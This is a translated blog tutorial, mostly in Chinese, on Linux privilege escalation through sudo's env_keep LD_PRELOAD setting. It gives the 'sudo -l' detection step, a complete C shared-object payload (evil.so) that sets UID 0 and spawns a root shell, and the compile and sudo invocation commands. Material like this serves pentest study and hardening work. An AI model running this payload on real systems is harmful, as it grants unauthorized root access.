Sudo (LD_PRELOAD) (Linux Privilege Escalation)

Liunx權限提升-LD_PRELOAD環境變量

Posted by Mars Cheng on August 25, 2018

Overview

This is Translating Articles which from http://touhidshaikh.com/blog/?p=827, if any problem, If any mistake or suggestion, please let we konw. Thanks. 本篇文章翻譯自 http://touhidshaikh.com/blog/?p=827,如有任何問題敬請不吝指教。

本文針對LD_PRELOAD的環境變量進行權限提升。在進行漏洞利用之前,我們來讀一些有關LD_PRELOAD的內容。

Index

  1. 什麼是LD_PRELOAD?
  2. 偵測
  3. LD_PRELOAD漏洞利用

1. 什麼是LD_PRELOAD?

LD_PRELOAD是一個可選擇性的環境變量,包含一個或多個共享函式庫或共享對象的路徑,載入器會在比C runtime函式庫(libc.so)在內的其他共享函式庫預先載入。

為了避免這種機制被用做suid/sgid的攻擊向量。如果ruid!=euid,載入程序會忽略LD_PRELOAD,對於此類功能,只會預先載入也是suid/sgid的函式庫


2. 偵測

user@debian:~$ sudo -l 
Matching Defaults entries for user on this host:
    env_reset, env_keep+=LD_PRELOAD

如果終端機的輸出結果如上,代表目標是易遭受攻擊的。可以藉由利用LD_PRELOAD來獲得root權限。而對於這一權限提升方式,需要一些使用LD_PRELOAD envr的sudo權限指令。

程式檔案:

#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/bash");
}

3. LD_PRELOAD漏洞利用

開啟終端並轉到任何可寫入的目錄已刪除shell 可寫入的目錄像是:

  • /tmp
  • /var/tmp
  • /dev/shm

本文以/tmp目錄作為示範 步驟1

user@debian:/tmp$ cat << EOF >> evil.c
> #include <stdio.h>
> #include <sys/types.h>
> #include <stdlib.h>
> void _init() {
> unsetenv("LD_PRELOAD");
> setgid(0);
> setuid(0);
> system("/bin/bash");
> }
> EOF

步驟2 編譯目標檔案

gcc -fPIC -shared -o evil.so evil.c -nostartfiles

步驟3

sudo LD_PRELOAD=evil.so <COMMAND>

代表允許使用sudo執行哪個指令,可以使用當前使用者允許使用的指令

Reference

[1] http://touhidshaikh.com/blog/?p=827